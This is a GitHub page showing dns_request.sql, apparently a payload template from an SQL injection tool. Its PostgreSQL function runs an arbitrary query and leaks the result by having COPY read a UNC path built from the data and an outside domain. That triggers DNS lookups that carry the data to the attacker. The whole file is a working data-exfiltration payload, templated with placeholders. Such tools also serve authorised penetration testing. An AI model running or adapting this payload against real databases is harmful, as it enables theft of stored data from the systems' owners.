FilesExpand file tree

 master

/

dns_request.sql

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

14 lines (14 loc) · 536 Bytes

 master

/

dns_request.sql

Copy path

Top

File metadata and controls

• Code
• Blame

14 lines (14 loc) · 536 Bytes

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

DROP TABLE IF EXISTS %RANDSTR1%;

# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required

CREATE TABLE %RANDSTR1%(%RANDSTR2% text);

CREATE OR REPLACE FUNCTION %RANDSTR3%()

RETURNS VOID AS $$

DECLARE %RANDSTR4% TEXT;

DECLARE %RANDSTR5% TEXT;

BEGIN

SELECT INTO %RANDSTR5% (%QUERY%);

%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';

EXECUTE %RANDSTR4%;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT %RANDSTR3%();